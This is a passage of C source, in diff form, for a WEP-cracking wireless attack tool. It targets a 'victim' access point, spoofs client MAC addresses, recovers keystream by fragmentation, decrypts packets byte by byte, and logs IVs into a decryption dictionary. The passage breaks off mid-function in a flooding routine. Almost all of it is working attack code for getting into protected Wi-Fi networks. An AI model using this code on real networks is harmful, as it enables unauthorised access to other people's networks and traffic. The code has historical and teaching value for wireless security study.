hexdump(&lame[0], lastlen); + exit(1); + } + len = lastlen; +// printf("Warning doing a retransmit...\n"); + } + // normal tx + else { + assert(!txstate.waiting_ack); + + if (len > lamelen) { + if (lame) + free(lame); + + lame = (unsigned char*) malloc(len); + if(!lame) { + perror("malloc()"); + exit(1); + } + + lamelen = len; + } + + memcpy(lame, buf, len); + txstate.retries = 0; + lastlen = len; + } + + inject(tx, lame, len); + + txstate.waiting_ack = 1; + txstate.psent++; + if (gettimeofday(&txstate.tsent, NULL) == -1) { + perror("gettimeofday()"); + exit(1); + } + +#if 0 + printf("Wrote frame at %lu.%lu\n", + txstate.tsent.tv_sec, txstate.tsent.tv_usec); +#endif +} + +unsigned short fnseq(unsigned short fn, unsigned short seq) { + unsigned short r = 0; + + if(fn > 15) { + time_print("too many fragments (%d)\n", fn); + exit(1); + } + + r = fn; + + r |= ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT); + + return r; +} + +void fill_basic(struct ieee80211_frame* wh) { + unsigned short* sp; + + memcpy(wh->i_addr1, victim.bss, 6); + memcpy(wh->i_addr2, mymac, 6); + memcpy(wh->i_addr3, victim.bss, 6); + + + + sp = (unsigned short*) wh->i_seq; + *sp = fnseq(0, txstate.psent); + + sp = (unsigned short*) wh->i_dur; + *sp = htole16(32767); +} + +void send_assoc(int tx) { + unsigned char buf[128]; + struct ieee80211_frame* wh = (struct ieee80211_frame*) buf; + unsigned char* body; + int ssidlen; + + memset(buf, 0, sizeof(buf)); + fill_basic(wh); + wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ; + + body = (unsigned char*) wh + sizeof(*wh); + *body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap + // cap + interval + body += 2 + 2; + + // ssid + *body++ = 0; + ssidlen = strlen(victim.ssid); + *body++ = ssidlen; + memcpy(body, victim.ssid, ssidlen); + body += ssidlen; + + // rates + *body++ = 1; + *body++ = 4; + *body++ = 2; + *body++ = 4; + *body++ = 11; + *body++ = 22; + + send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2 + + strlen(victim.ssid) + 2 + 4); +} + +void wepify(unsigned char* body, int dlen) { + uLong crc; + unsigned long *pcrc; + int i; + + assert(dlen + 4 <= prgainfo.len); + + // iv + memcpy(body, prgainfo.iv, 3); + body +=3; + *body++ = 0; + + // crc + crc = crc32(0L, Z_NULL, 0); + crc = crc32(crc, body, dlen); + pcrc = (unsigned long*) (body+dlen); + *pcrc = crc; + + for (i = 0; i < dlen +4; i++) + *body++ ^= prgainfo.prga[i]; +} + +void send_auth(int tx) { + unsigned char buf[128]; + struct ieee80211_frame* wh = (struct ieee80211_frame*) buf; + unsigned short* n; + + memset(buf, 0, sizeof(buf)); + fill_basic(wh); + wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH; + + n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh)); + n++; + *n = 1; + + send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2); +} + +int get_victim_ssid(struct ieee80211_frame* wh, int len) { + unsigned char* ptr; + int x; + int gots = 0, gotc = 0; + + if (len <= sizeof(*wh)) { + time_print("Warning: short packet in get_victim_ssid()\n"); + return 0; + } + + ptr = (unsigned char*)wh + sizeof(*wh); + len -= sizeof(*wh); + + // only wep baby + if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) { + return 0; + } + + // we want a specific victim + if (victim_mac) { + if (memcmp(wh->i_addr3, victim_mac, 6) != 0) + return 0; + } + + // beacon header + x = 8 + 2 + 2; + if (len <= x) { + time_print("Warning short.asdfasdf\n"); + return 0; + } + + ptr += x; + len -= x; + + // SSID + while(len > 2) { + int eid, elen; + + eid = *ptr; + ptr++; + elen = *ptr; + ptr++; + len -= 2; + + if (len < elen) { + time_print("Warning short....\n"); + return 0; + } + + // ssid + if (eid == 0) { + if (victim.ssid) + free(victim.ssid); + + victim.ssid = (char*) malloc(elen + 1); + if (!victim.ssid) { + perror("malloc()"); + exit(1); + } + + memcpy(victim.ssid, ptr, elen); + victim.ssid[elen] = 0; + gots = 1; + + } + // chan + else if(eid == 3) { + if( elen != 1) { + time_print("Warning len of chan not 1\n"); + return 0; + } + + victim.chan = *ptr; + gotc = 1; + } + + ptr += elen; + len -= elen; + } + + if (gots && gotc) { + memcpy(victim.bss, wh->i_addr3, 6); + set_chan(victim.chan); + state = FOUND_VICTIM; + time_print("Found SSID(%s) BSS=(%s) chan=%d\n", + victim.ssid, mac2str(victim.bss), victim.chan); + return 1; + } + return 0; +} + +// XXX: acks don't work for now... too slow! +void send_ack(int tx) { + unsigned char buf[64]; + struct ieee80211_frame* wh; + + return; + + wh = (struct ieee80211_frame*) &buf[0]; + + memset(buf, 0, sizeof(buf)); + wh->i_fc[0] |= IEEE80211_FC0_TYPE_CTL | IEEE80211_FC0_SUBTYPE_ACK; + memcpy(wh->i_addr1, victim.bss, 6); + + inject(tx, buf, 10); +#if 0 + { + struct timeval tv; + gettimeofday(&tv, NULL); + + printf("sent ack %lu.%lu\n", tv.tv_sec, tv.tv_usec); + } +#endif +} + +void do_llc(unsigned char* buf, unsigned short type) { + struct llc* h = (struct llc*) buf; + + memset(h, 0, sizeof(*h)); + h->llc_dsap = LLC_SNAP_LSAP; + h->llc_ssap = LLC_SNAP_LSAP; + h->llc_un.type_snap.control = 3; + h->llc_un.type_snap.ether_type = htons(type); +} + +void calculate_inet_clear() { + struct ip* ih; + struct udphdr* uh; + uLong crc; + unsigned long *pcrc; + int dlen; + + memset(inet_clear, 0, sizeof(inet_clear)); + + do_llc(inet_clear, ETHERTYPE_IP); + + ih = (struct ip*) &inet_clear[8]; + ih->ip_hl = 5; + ih->ip_v = 4; + ih->ip_tos = 0; + ih->ip_len = htons(20+8+PRGA_LEN); + ih->ip_id = htons(666); + ih->ip_off = 0; + ih->ip_ttl = ttl_val; + ih->ip_p = IPPROTO_UDP; + ih->ip_sum = 0; + inet_aton(floodip, &ih->ip_src); + inet_aton(myip, &ih->ip_dst); + ih->ip_sum = in_cksum((unsigned short*)ih, 20); + + uh = (struct udphdr*) ((char*)ih + 20); + uh->uh_sport = htons(floodport); + uh->uh_dport = htons(floodsport); + uh->uh_ulen = htons(8+PRGA_LEN); + uh->uh_sum = 0; + uh->uh_sum = udp_checksum((unsigned char*)uh, 8+PRGA_LEN, + &ih->ip_src, &ih->ip_dst); + + // crc + dlen = 8 + 20 + 8 + PRGA_LEN; + assert (dlen + 4 <= sizeof(inet_clear)); + + crc = crc32(0L, Z_NULL, 0); + crc = crc32(crc, inet_clear, dlen); + pcrc = (unsigned long*) (inet_clear+dlen); + *pcrc = crc; + +#if 0 + printf("INET %d\n", sizeof(inet_clear)); + hexdump(inet_clear, sizeof(inet_clear)); +#endif +} + +void set_prga(unsigned char* iv, unsigned char* cipher, + unsigned char* clear, int len) { + + int i; + int fd; + + if (prgainfo.len != 0) + free(prgainfo.prga); + + prgainfo.prga = (unsigned char*) malloc(len); + if (!prgainfo.prga) { + perror("malloc()"); + exit(1); + } + + prgainfo.len = len; + memcpy(prgainfo.iv, iv, 3); + + for (i = 0; i < len; i++) { + prgainfo.prga[i] = ( cipher ? (clear[i] ^ cipher[i]) : + clear[i]); + } + + time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=", + prgainfo.len, prgainfo.iv[0], prgainfo.iv[1], prgainfo.iv[2]); + hexdump(prgainfo.prga, prgainfo.len); + + if (!cipher) + return; + + fd = open(PRGA_FILE, O_WRONLY | O_CREAT, + S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); + + if (fd == -1) { + perror("open()"); + exit(1); + } + + i = write(fd, prgainfo.iv, 3); + if (i == -1) { + perror("write()"); + exit(1); + } + if (i != 3) { + printf("Wrote %d out of %d\n", i, 3); + exit(1); + } + + i = write(fd, prgainfo.prga, prgainfo.len); + if (i == -1) { + perror("write()"); + exit(1); + } + if (i != prgainfo.len) { + printf("Wrote %d out of %d\n", i, prgainfo.len); + exit(1); + } + + close(fd); +} + + +void log_dictionary(unsigned char* body, int len) { + char paths[3][3]; + int i, rd; + int fd; + unsigned char path[128]; + unsigned char file_clear[sizeof(inet_clear)]; + unsigned char* data; + + len -= 4; // IV etc.. + assert (len == sizeof(inet_clear)); + + data = body +4; + + if (len > prgainfo.len) + set_prga(body, data, inet_clear, len); + + + for (i = 0; i < 3; i++) + snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]); + + + strcpy(path, DICT_PATH); + + + // first 2 bytes + for (i = 0; i < 2; i++) { + strcat(path, "/"); + strcat(path, paths[i]); + fd = open(path, O_RDONLY); + if (fd == -1) { + if (errno != ENOENT) { + perror("open()"); + exit(1); + } + + if (mkdir(path, 0755) == -1) { + perror("mkdir()"); + exit(1); + } + } + else + close(fd); + } + + // last byte + strcat(path, "/"); + strcat(path, paths[2]); + + fd = open(path, O_RDWR); + // already exists... see if we are consistent... + if (fd != -1) { + rd = read(fd, file_clear, sizeof(file_clear)); + + if (rd == -1) { + perror("read()"); + exit(1); + } + + // check consistency.... + for (i = 0; i < rd; i++) { + if (file_clear[i] != + (data[i] ^ inet_clear[i])) { + + printf("Mismatch in byte %d for:\n", i); + hexdump(body, len+4); + exit(1); + } + } + + // no need to log + if (i >= sizeof(inet_clear)) { +#if 0 + time_print("Not logging IV %.2X:%.2X:%.2X cuz we got it\n", + body[0], body[1], body[2]); +#endif + close(fd); + return; + } + + // file has less... fd still open + + } else { + fd = open(path, O_WRONLY | O_CREAT, 0644); + if (fd == -1) { + printf("Can't open (%s): %s\n", path, + strerror(errno)); + exit(1); + } + } + + assert (sizeof(file_clear) >= sizeof(inet_clear)); + + for(i = 0; i < len; i++) + file_clear[i] = data[i] ^ inet_clear[i]; + + rd = write(fd, file_clear, len); + if (rd == -1) { + perror("write()"); + exit(1); + } + if (rd != len) { + printf("Wrote %d of %d\n", rd, len); + exit(1); + } + close(fd); +} + +void stuff_for_us(struct ieee80211_frame* wh, int len) { + int type,stype; + unsigned char* body; + + type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; + stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; + + body = (unsigned char*) wh + sizeof(*wh); + + // CTL + if (type == IEEE80211_FC0_TYPE_CTL) { + if (stype == IEEE80211_FC0_SUBTYPE_ACK) { + txstate.waiting_ack = 0; + return; + } + + if (stype == IEEE80211_FC0_SUBTYPE_RTS) { + return; + } + + if (stype == IEEE80211_FC0_SUBTYPE_CTS) { + return; + } + time_print ("got CTL=%x\n", stype); + return; + } + + // MGM + if (type == IEEE80211_FC0_TYPE_MGT) { + if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) { + unsigned short* rc = (unsigned short*) body; + printf("\n"); + time_print("Got deauth=%u\n", le16toh(*rc)); + state = FOUND_VICTIM; + return; + exit(1); + } + else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) { + unsigned short* sc = (unsigned short*) body; + + if (*sc != 0) { + time_print("Warning got auth algo=%x\n", *sc); + exit(1); + return; + } + sc++; + + if (*sc != 2) { + time_print("Warning got auth seq=%x\n", *sc); + return; + } + + sc++; + + if (*sc == 1) { + time_print("Auth rejected... trying to spoof mac.\n"); + state = SPOOF_MAC; + return; + } + else if (*sc == 0) { + time_print("Authenticated\n"); + state = GOT_AUTH; + return; + } + else { + time_print("Got auth %x\n", *sc); + exit(1); + } + } + else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) { + unsigned short* sc = (unsigned short*) body; + sc++; // cap + + if (*sc == 0) { + sc++; + unsigned int aid = le16toh(*sc) & 0x3FFF; + time_print("Associated (ID=%x)\n", aid); + state = GOT_ASSOC; + return; + } else { + time_print("got assoc %x\n", *sc); + exit(1); + } + } else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) { + return; + } + + time_print("\nGOT MAN=%x\n", stype); + exit(1); + } + + if (type == IEEE80211_FC0_TYPE_DATA && + stype == IEEE80211_FC0_SUBTYPE_DATA) { + int dlen; + dlen = len - sizeof(*wh) - 4 -4; + + if (!( wh->i_fc[1] & IEEE80211_FC1_WEP)) { + time_print("WARNING: Got NON wep packet from %s dlen %d stype=%x\n", + mac2str(wh->i_addr2), dlen, stype); + return; + } + + assert (wh->i_fc[1] & IEEE80211_FC1_WEP); + + if ((dlen == 36 || dlen == PADDED_ARPLEN) && rtrmac == (unsigned char*) 1) { + rtrmac = (unsigned char *) malloc(6); + if (!rtrmac) { + perror("malloc()"); + exit(1); + } + + assert( rtrmac > (unsigned char*) 1); + + memcpy (rtrmac, wh->i_addr3, 6); + time_print("Got arp reply from (%s)\n", mac2str(rtrmac)); + + return; + } +#if 0 + // check if its a TTL update from dictionary stuff + if (dlen >= (8+20+8+MAGIC_TTL_PAD) && + dlen <= (8+20+8+MAGIC_TTL_PAD+128)) { + int ttl_delta, new_ttl; + + ttl_delta = dlen - 8 - 20 - 8 - MAGIC_TTL_PAD; + new_ttl = 128 - ttl_delta; + + if (ttl_val && new_ttl != ttl_val) { + time_print("oops. ttl changed from %d to %d\n", + ttl_val, new_ttl); + exit(1); + } + + if (!ttl_val) { + ttl_val = new_ttl; + printf("\n"); + time_print("Got TTL of %d\n", ttl_val); + calculate_inet_clear(); + } + } + + // check if its dictionary data + if (ttl_val && dlen == (8+20+8+PRGA_LEN)) { + log_dictionary(body, len - sizeof(*wh)); + } +#endif + } + +#if 0 + printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n", + type, stype, mac2str(wh->i_addr2), len); +#endif +} + +void decrypt_arpreq(struct ieee80211_frame* wh, int rd) { + unsigned char* body; + int bodylen; + unsigned char clear[36]; + unsigned char* ptr; + struct arphdr* h; + int i; + + body = (unsigned char*) wh+sizeof(*wh); + ptr = clear; + + // calculate clear-text + memcpy(ptr, arp_clear, sizeof(arp_clear)-1); + ptr += sizeof(arp_clear) -1; + + h = (struct arphdr*)ptr; + h->ar_hrd = htons(ARPHRD_ETHER); + h->ar_pro = htons(ETHERTYPE_IP); + h->ar_hln = 6; + h->ar_pln = 4; + h->ar_op = htons(ARPOP_REQUEST); + ptr += sizeof(*h); + + memcpy(ptr, wh->i_addr3, 6); + + bodylen = rd - sizeof(*wh) - 4 - 4; + decryptstate.clen = bodylen; + decryptstate.cipher = (unsigned char*) malloc(decryptstate.clen); + if (!decryptstate.cipher) { + perror("malloc()"); + exit(1); + } + decryptstate.prgainfo.prga = (unsigned char*) malloc(decryptstate.clen); + if (!decryptstate.prgainfo.prga) { + perror("malloc()"); + exit(1); + } + + + memcpy(decryptstate.cipher, &body[4], decryptstate.clen); + memcpy(decryptstate.prgainfo.iv, body, 3); + + memset(decryptstate.prgainfo.prga, 0, decryptstate.clen); + for(i = 0; i < (8+8+6); i++) { + decryptstate.prgainfo.prga[i] = decryptstate.cipher[i] ^ + clear[i]; + } + + decryptstate.prgainfo.len = i; + time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3)); +} + +void log_wep(unsigned char* body, int len) { + unsigned char log[5]; + int rd; + + if (body[3] != 0) { + time_print("Key index=%x!!\n", body[3]); + exit(1); + } + + memcpy(log, body, 3); + memcpy(&log[3], &body[4], 2); + + rd = write(weplog.fd, log, sizeof(log)); + + if (rd == -1) { + perror("write()"); + exit(1); + } + if (rd != sizeof(log)) { + time_print("short write %d out of %d\n", rd, sizeof(log)); + exit(1); + } + +#if 0 + if (fsync(weplog.fd) == -1) { + perror("fsync()"); + exit(1); + } +#endif + + memcpy(weplog.iv, body, 3); + weplog.packets++; +} + +void try_dictionary(struct ieee80211_frame* wh, int len) { + unsigned char *body; + char path[52]; + char paths[3][3]; + int i; + int fd, rd; + unsigned char packet[4096]; + int dlen; + struct ether_header* eh; + uLong crc; + unsigned long *pcrc; + unsigned char* dmac, *smac; + + assert (len < sizeof(packet) + sizeof(*eh)); + + body = (unsigned char*) wh + sizeof(*wh); + + for (i = 0; i < 3; i++) + snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]); + + sprintf(path, "%s/%s/%s/%s", DICT_PATH, paths[0], paths[1], paths[2]); + + fd = open(path, O_RDONLY); + if (fd == -1) + return; + + rd = read(fd, &packet[6], sizeof(packet)-6); + if (rd == -1) { + perror("read()"); + exit(1); + } + close(fd); + + + dlen = len - sizeof(*wh) - 4; + if (dlen > rd) { + printf("\n"); + time_print("Had PRGA (%s) but too little (%d/%d)\n", path, rd, + dlen); + return; + } + + body += 4; + for (i = 0; i < dlen; i++) + packet[6+i] ^= body[i]; + + dlen -= 4; + crc = crc32(0L, Z_NULL, 0); + crc = crc32(crc, &packet[6], dlen); + pcrc = (unsigned long*) (&packet[6+dlen]); + + if (*pcrc != crc) { + printf("\n"); + time_print("HAD PRGA (%s) checksum mismatch! (%x %x)\n", + path, *pcrc, crc); + return; + } + + // fill ethernet header + eh = (struct ether_header*) packet; + if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) + smac = wh->i_addr3; + else + smac = wh->i_addr2; + + if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) + dmac = wh->i_addr3; + else + dmac = wh->i_addr1; + + memcpy(eh->ether_dhost, dmac, 6); + memcpy(eh->ether_shost, smac, 6); + // ether type should be there from llc + + dlen -= 8; // llc + dlen += sizeof(*eh); + +#if 0 + printf("\n"); + time_print("Decrypted packet [%d bytes]!!! w00t\n", dlen); + hexdump(packet, dlen); +#endif + + rd = write(tapfd, packet, dlen); + if (rd == -1) { + perror("write()"); + exit(1); + } + if (rd != dlen) { + printf("Wrote %d / %d\n", rd, dlen); + exit(1); + } +} + +void got_wep(struct ieee80211_frame* wh, int rd) { + int bodylen; + int dlen; + unsigned char *clear; + int clearsize; + unsigned char *body; + + bodylen = rd - sizeof(struct ieee80211_frame); + + dlen = bodylen - 4 - 4; + body = (unsigned char*) wh + sizeof(*wh); + + + // log it if its stuff not from us... + if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) || + ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) && + memcmp(wh->i_addr2, mymac, 6) != 0) ) { + + log_wep(body, dlen + 8); + + // try to decrypt too + try_dictionary(wh, rd); + } + + // look for arp-request packets... so we can decrypt em + if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && + (memcmp(wh->i_addr3, mymac, 6) != 0) && + (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) && + (dlen == 36 || dlen == PADDED_ARPLEN) && + !decryptstate.cipher && + !netip) { + decrypt_arpreq(wh, rd); + } + + // we have prga... check if its our stuff being relayed... + if (prgainfo.len != 0) { + // looks like it... + if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && + (memcmp(wh->i_addr3, mymac, 6) == 0) && + (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) && + dlen == fragstate.len) { + +// printf("I fink AP relayed it...\n"); + set_prga(body, &body[4], fragstate.data, dlen); + free(fragstate.data); + fragstate.data = 0; + fragstate.waiting_relay = 0; + } + + // see if we get the multicast stuff of when decrypting + if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && + (memcmp(wh->i_addr3, mymac, 6) == 0) && + (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) && + dlen == 36) { + + unsigned char pr = wh->i_addr1[5]; + + printf("\n"); + time_print("Got clear-text byte: %d\n", + decryptstate.cipher[decryptstate.prgainfo.len-1] ^ pr); + + decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] = pr; + decryptstate.prgainfo.len++; + decryptstate.fragstate.waiting_relay = 1; + + // ok we got the ip... + if (decryptstate.prgainfo.len == 26+1) { + unsigned char ip[4]; + int i; + struct in_addr *in = (struct in_addr*) ip; + unsigned char *ptr; + + for (i = 0; i < 4; i++) + ip[i] = decryptstate.cipher[8+8+6+i] ^ + decryptstate.prgainfo.prga[8+8+6+i]; + + assert(!netip); + netip = (unsigned char*) malloc(16); + if(!netip) { + perror("malloc()"); + exit(1); + } + + memset(netip, 0, 16); + strcpy(netip, inet_ntoa(*in)); + + time_print("Got IP=(%s)\n", netip); + strcpy(myip, netip); + + ptr = strchr(myip, '.'); + assert(ptr); + ptr = strchr(ptr+1, '.'); + assert(ptr); + ptr = strchr(ptr+1, '.'); + assert(ptr); + strcpy(ptr+1,"123"); + + time_print("My IP=(%s)\n", myip); + + + free(decryptstate.prgainfo.prga); + free(decryptstate.cipher); + memset(&decryptstate, 0, sizeof(decryptstate)); + } + } + return; + } + + + time_print("Datalen=%d Assuming: ", dlen); + if (dlen == ARPLEN || dlen == PADDED_ARPLEN) { + clear = arp_clear; + clearsize = sizeof(arp_clear) - 1; + printf("ARP\n"); + } else { + clear = ip_clear; + clearsize = sizeof(ip_clear) - 1; + printf("IP\n"); + } + + set_prga(body, &body[4], clear, clearsize); +} + +void stuff_for_net(struct ieee80211_frame* wh, int rd) { + int type,stype; + + type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; + stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; + + if (type == IEEE80211_FC0_TYPE_DATA && + stype == IEEE80211_FC0_SUBTYPE_DATA) { + int dlen = rd - sizeof(struct ieee80211_frame); + + if (state == SPOOF_MAC) { + unsigned char mac[6]; + if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) { + memcpy(mac, wh->i_addr3, 6); + } else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) { + memcpy(mac, wh->i_addr1, 6); + } else assert(0); + + if (mac[0] == 0xff || mac[0] == 0x1) + return; + + memcpy(mymac, mac, 6); + time_print("Trying to use MAC=(%s)\n", mac2str(mymac)); + state = FOUND_VICTIM; + return; + } + + // wep data! + if ( (wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4+8+4)) { + got_wep(wh, rd); + } + } +} + +void anal(unsigned char* buf, int rd, int tx) { // yze +#define BIT(n) (1<<(n)) + struct bpf_hdr* bpfh = (struct bpf_hdr*) buf; + struct ieee80211_radiotap_header* rth; + struct ieee80211_frame* wh; + int type,stype; + static int lastseq = -1; + int seq; + unsigned short *seqptr; + int for_us = 0; + uint32_t present; + uint8_t rflags; + + // BPF + rd -= bpfh->bh_hdrlen; + if (bpfh->bh_caplen != bpfh->bh_datalen) { + time_print("Warning: caplen=%d datalen=%d\n", + bpfh->bh_caplen, bpfh->bh_datalen); + } + + if (rd != bpfh->bh_caplen) { +#if 0 + // XXX + printf("Error: rd=%d caplen=%d\n", rd, bpfh->bh_caplen); + hexdump(buf, rd+bpfh->bh_hdrlen); +// exit(1); + return; +#endif + // XXX what's going on + assert( rd > bpfh->bh_caplen); + rd = bpfh->bh_caplen; + } + + // RADIOTAP + rth = (struct ieee80211_radiotap_header*) + ((unsigned char*) bpfh + bpfh->bh_hdrlen); + /* check if FCS/CRC is included in packet */ + present = le32toh(rth->it_present); + if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) { + if (present & BIT(IEEE80211_RADIOTAP_TSFT)) + rflags = ((const uint8_t *)rth)[8]; + else + rflags = ((const uint8_t *)rth)[0]; + } else + rflags = 0; + /* 802.11 CRC */ + if (rflags & IEEE80211_RADIOTAP_F_FCS) + rd -= IEEE80211_CRC_LEN; + + // 802.11 + wh = (struct ieee80211_frame*) + ((unsigned char*)rth + rth->it_len); + rd -= rth->it_len; + + if (rd < 1) { + time_print("rd=%d\n", rd); + exit(1); + } + + type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; + stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; + + // sort out acks + if (state >= FOUND_VICTIM) { + // stuff for us + if (memcmp(wh->i_addr1, mymac, 6) == 0) { + for_us = 1; + if (type != IEEE80211_FC0_TYPE_CTL) + send_ack(tx); + } + } + + // XXX i know it aint great... + seqptr = (unsigned short*) wh->i_seq; + seq = (*seqptr & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT; + if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) && + type != IEEE80211_FC0_TYPE_CTL) { +// printf("Ignoring dup packet... seq=%d\n", seq); + return; + } + lastseq = seq; + + // management frame + if (type == IEEE80211_FC0_TYPE_MGT) { + if(state == FIND_VICTIM) { + if (stype == IEEE80211_FC0_SUBTYPE_BEACON || + stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) { + + if (get_victim_ssid(wh, rd)) { + return; + } + } + + } + } + + if (state >= FOUND_VICTIM) { + // stuff for us + if (for_us) { + stuff_for_us(wh, rd); + } + + // stuff in network [even for us] + if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) && + (memcmp(victim.bss, wh->i_addr1, 6) == 0)) || + + ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && + (memcmp(victim.bss, wh->i_addr2, 6) == 0)) + ) { + stuff_for_net(wh, rd); + } + } +#undef BIT +} + +void do_arp(unsigned char* buf, unsigned short op, + unsigned char* m1, unsigned char* i1, + unsigned char* m2, unsigned char* i2) { + + struct in_addr sip; + struct in_addr dip; + struct arphdr* h; + unsigned char* data; + + inet_aton(i1, &sip); + inet_aton(i2, &dip); + h = (struct arphdr*) buf; + + memset(h, 0, sizeof(*h)); + + h->ar_hrd = htons(ARPHRD_ETHER); + h->ar_pro = htons(ETHERTYPE_IP); + h->ar_hln = 6; + h->ar_pln = 4; + h->ar_op = htons(op); + + data = (unsigned char*) h + sizeof(*h); + + memcpy(data, m1, 6); + data += 6; + memcpy(data, &sip, 4); + data += 4; + + memcpy(data, m2, 6); + data += 6; + memcpy(data, &dip, 4); + data += 4; +} + +void send_fragment(int tx, struct frag_state* fs, struct prga_info *pi) { + unsigned char buf[4096]; + struct ieee80211_frame* wh; + unsigned char* body; + int fragsize; + uLong crc; + unsigned long *pcrc; + int i; + unsigned short* seq; + unsigned short sn, fn; + + wh = (struct ieee80211_frame*) buf; + memcpy(wh, &fs->wh, sizeof(*wh)); + + body = (unsigned char*) wh + sizeof(*wh); + memcpy(body, &pi->iv, 3); + body += 3; + *body++ = 0; // key index + + fragsize = fs->data + fs->len - fs->ptr; + + assert(fragsize > 0); + + if ( (fragsize + 4) > pi->len) { + fragsize = pi->len - 4; + wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG; + } + // last fragment + else { + wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG; + } + + memcpy(body, fs->ptr, fragsize); + + crc = crc32(0L, Z_NULL, 0); + crc = crc32(crc, body, fragsize); + pcrc = (unsigned long*) (body+fragsize); + *pcrc = crc; + + for (i = 0; i < (fragsize + 4); i++) + body[i] ^= pi->prga[i]; + + seq = (unsigned short*) &wh->i_seq; + sn = (*seq & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT; + fn = *seq & IEEE80211_SEQ_FRAG_MASK; +// printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn); + + send_frame(tx, buf, sizeof(*wh) + 4 + fragsize+4); + + seq = (unsigned short*) &fs->wh.i_seq; + *seq = fnseq(++fn, sn); + fs->ptr += fragsize; + + if (fs->ptr - fs->data == fs->len) { +// printf("Finished sending frags...\n"); + fs->waiting_relay = 1; + } +} + +void prepare_fragstate(struct frag_state* fs, int pad) { + fs->waiting_relay = 0; + fs->len = 8 + 8 + 20 + pad; + fs->data = (unsigned char*) malloc(fs->len); + + if(!fs->data) { + perror("malloc()"); + exit(1); + } + + fs->ptr = fs->data; + + do_llc(fs->data, ETHERTYPE_ARP); + do_arp(&fs->data[8], ARPOP_REQUEST, + mymac, myip, + "\x00\x00\x00\x00\x00\x00", "192.168.0.1"); + + memset(&fs->wh, 0, sizeof(fs->wh)); + fill_basic(&fs->wh); + + memset(fs->wh.i_addr3, 0xff, 6); + fs->wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA; + fs->wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS | + IEEE80211_FC1_MORE_FRAG | + IEEE80211_FC1_WEP; + + memset(&fs->data[8+8+20], 0, pad); +} + +void discover_prga(int tx) { + + // create packet... + if (!fragstate.data) { + int pad = 0; + + if (prgainfo.len >= 20) + pad = prgainfo.len*3; + + prepare_fragstate(&fragstate, pad); + } + + if (!fragstate.waiting_relay) { + send_fragment(tx, &fragstate, &prgainfo); + if (fragstate.waiting_relay) { + if (gettimeofday(&fragstate.last, NULL) == -1) + err(1, "gettimeofday()"); + } + } +} + +void decrypt(int tx) { + + // gotta initiate + if (!decryptstate.fragstate.data) { + prepare_fragstate(&decryptstate.fragstate, 0); + + memcpy(decryptstate.fragstate.wh.i_addr3, + MCAST_PREF, 5); + + decryptstate.fragstate.wh.i_addr3[5] = + decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]; + + decryptstate.prgainfo.len++; + } + + // guess diff prga byte... + if (decryptstate.fragstate.waiting_relay) { + unsigned short* seq; + decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]++; + +#if 0 + if (decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] == 0) { + printf("Can't decrpyt!\n"); + exit(1); + } +#endif + decryptstate.fragstate.wh.i_addr3[5] = + decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]; + + decryptstate.fragstate.waiting_relay = 0; + decryptstate.fragstate.ptr = decryptstate.fragstate.data; + + seq = (unsigned short*) &decryptstate.fragstate.wh.i_seq; + *seq = fnseq(0, txstate.psent); + } + + send_fragment(tx, &decryptstate.fragstate, + &decryptstate.prgainfo); +} + +void flood_inet(tx) { + static int send_arp = -1; + static unsigned char arp_pkt[128]; + static int arp_len; + static unsigned char udp_pkt[128]; + static int udp_len; + static 